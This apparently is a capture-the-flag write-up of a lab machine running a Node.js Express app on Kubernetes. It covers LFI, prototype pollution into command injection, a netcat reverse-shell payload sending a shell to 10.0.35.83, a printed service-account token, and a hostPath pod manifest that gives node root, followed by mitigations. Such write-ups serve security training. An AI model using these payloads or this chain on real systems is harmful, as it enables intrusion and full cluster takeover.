Target Information
- IP Address: 172.16.13.70
- Difficulty: Medium
- Tags: Web, Kubernetes, Privilege Escalation
Reconnaissance
Port Scanning
I started with a full port scan using nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.13.70Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Node.js Express framework
Only two open ports: SSH and HTTP. The web application is running on Node.js Express with the title "Captain Jack's Pirate Tours".
Web Enumeration
Discovery: Local File Inclusion (LFI)
While exploring the application, I identified an endpoint vulnerable to Local File Inclusion:
Endpoint: /api/download?file=
Test payload:
GET /api/download?file=../../../../../../etc/passwd HTTP/1.1
Host: 172.16.13.70Response:
root:x:0:0:root:/root:/bin/sh
[...]
node:x:1000:1000::/home/node:/bin/sh
✅ Vulnerability confirmed! I successfully read /etc/passwd.
Source Code Disclosure
Using the same LFI vulnerability, I extracted the application's source code:
GET /api/download?file=../app%2ejs HTTP/1.1Code analysis revealed:
- Vulnerable merge() function susceptible to Prototype Pollution:
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}- Booking class with command execution:
class Booking {
// ...
confirm() {
if (this.sendEmail) {
exec(this.sendEmail); // ⚠️ Command execution!
}
return { /* ... */ };
}
}- Booking endpoint uses the vulnerable function:
app.post('/api/book', (req, res) => {
let bookingData = clone(req.body); // clone() uses merge()
let booking = new Booking(bookingData);
let confirmation = booking.confirm();
// ...
});Exploitation: Remote Code Execution
Prototype Pollution + Command Injection
I combined the vulnerabilities to achieve RCE:
Payload:
{
"name": "jack",
"email": "test@test.com",
"date": "2026-01-05",
"passengers": 1,
"tour": "standard",
"__proto__": {
"sendEmail": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"
}
}Complete request:
POST /api/book HTTP/1.1
Host: 172.16.13.70
Content-Type: application/json
Content-Length: 228
{
"name": "jack",
"email": "test@test.com",
"date": "2026-01-05",
"passengers": 1,
"tour": "standard",
"__proto__":{"sendEmail":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f"}
}Listener:
nc -lvnp 4444✅ Reverse shell obtained!
Post-Exploitation: Container Environment
Environment Discovery
After obtaining shell access, I identified that I was inside a Kubernetes container:
$ env | grep KUBERNETES
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1Important information:
- Namespace:
default - Service Account:
captain-sa - Pod:
captain-deployment-748769bfb4-hrf4c
Service Account Token Extraction
Every Kubernetes pod has a JWT token automatically mounted:
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenToken obtained:
eyJhbGciOiJSUzI1NiIsImtpZCI6IlRHM0FGc20xOUN3RWl2NUJTalQybHV1RG54NW56alZESGtqY01hR2JGY1kifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzk5MDc1MDMxLCJpYXQiOjE3Njc1MzkwMzEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJjYXB0YWluLWRlcGxveW1lbnQtNzQ4NzY5YmZiNC1ocmY0YyIsInVpZCI6IjMzNDEwOGFlLWQ2MTMtNDAzOS04MmFhLWRiMDU2ODNlZDk3YiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiY2FwdGFpbi1zYSIsInVpZCI6Ijc3MTgwOTA2LWExMmUtNGRhMi1iOTdkLWI0MTczOGQ5ZjFkOSJ9LCJ3YXJuYWZ0ZXIiOjE3Njc1NDI2Mzh9LCJuYmYiOjE3Njc1MzkwMzEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmNhcHRhaW4tc2EifQ.vdbNvggHJ6MD9GvU-x1zqCi7NPIB-_WO9DyWcJcBS09jp8ctdhctR8awjpD3RDuvqG3zLYocaVtRJLrs1AsFf2sRu8q_KcB-MsZh2_BY0xrHFpVMhCBLYaIEowJC7f-gP-AHWgfpYBIiOmu-i_kcIUuFnFUFskirk4ekQtlLBOLwt71UXKrT3DqU7td0nIpCvsjyPsR5jmVcIf7WxHege7mBvq2WlrhoSQiKc6BPKYrPZp8Sry6hrYYEr5XynanqkKfzEVQoQOl_eqZWnDDq35e2mqaNASRofge7SZwaUPmTxXpZu-uxv2Bhw7A1_r_Nmi53dKz70_OzMifiKPXQtQ
Privilege Escalation: Kubernetes RBAC Abuse
Permission Enumeration
I uploaded the kubectl binary to the container and checked the permissions:
./kubectl auth can-i --list --token eyJhbGc...Discovered permissions:
Resources Verbs
pods [create get list]
pods/exec [create]
🚨 Critical permissions identified!
- I can create new pods
- I can execute commands inside pods
Malicious Pod Creation
I created a YAML manifest for a privileged pod that mounts the host filesystem:
exploit-pod.yaml:
apiVersion: v1
kind: Pod
metadata:
name: exploit-pod
labels:
run: exploit-pod
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- "3600"
image: ubuntu
name: exploit-pod
volumeMounts:
- mountPath: /mnt
name: host-filesystem
resources: {}
dnsPolicy: ClusterFirst
status: {}Key points:
hostPath: path: /→ Mounts the node's root filesystemvolumeMounts: mountPath: /mnt→ Available at/mntin the container
Deployment & Root Access
# Create the malicious pod
./kubectl create -f exploit-pod.yaml
# Wait for the pod to be Running
./kubectl get pods -w
# Execute shell in the pod
./kubectl exec -it exploit-pod -- bashConfirmation:
root@exploit-pod:/# whoami
root
root@exploit-pod:/# ls /mnt
bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var✅ ROOT OBTAINED! Full access to the Kubernetes node through the filesystem mounted at /mnt.
Attack Chain Summary
1. LFI Discovery (/api/download)
↓
2. Source Code Extraction (app.js)
↓
3. Prototype Pollution Vulnerability
↓
4. Command Injection via exec()
↓
5. Reverse Shell (container access)
↓
6. Service Account Token Extraction
↓
7. Kubernetes API Authentication
↓
8. RBAC Misconfiguration (pods:create, pods/exec:create)
↓
9. Privileged Pod Creation (hostPath mount)
↓
10. Root Access on Kubernetes Node
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Local File Inclusion | CWE-22 | High | Source code disclosure |
| Prototype Pollution | CWE-1321 | High | Object manipulation |
| Command Injection | CWE-78 | Critical | Remote Code Execution |
| K8s RBAC Misconfiguration | N/A | Critical | Cluster compromise |
| Missing Pod Security Policy | N/A | Critical | Privilege escalation |
Mitigation Recommendations
Application Level
- Fix LFI: Validate and sanitize inputs for the
fileparameter
const safePath = path.basename(file); // Remove directory traversal- Prevent Prototype Pollution: Use
Object.create(null)or secure libraries
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}- Avoid Command Injection: Never use
exec()with user input
// Use secure libraries for email
const nodemailer = require('nodemailer');Kubernetes Level
-
Implement RBAC Least Privilege:
- Remove
pods:createandpods/exec:createpermissions from application service accounts - Use specific roles only for necessary operations
- Remove
-
Enable Pod Security Standards:
apiVersion: v1
kind: Namespace
metadata:
name: default
labels:
pod-security.kubernetes.io/enforce: restricted-
Disable hostPath Mounts: Use Pod Security Policies/Admission Controllers
-
Network Segmentation: Implement Network Policies to isolate pods
Tools Used
- nmap - Network scanning and service enumeration
- Burp Suite - Web proxy and HTTP request testing
- curl - Command-line HTTP requests and API interaction
- netcat - Listener setup and reverse shell handling
- kubectl - Kubernetes cluster interaction and pod management
References
Author: cbxcvl
Date: April 3, 2026
Machine: Captain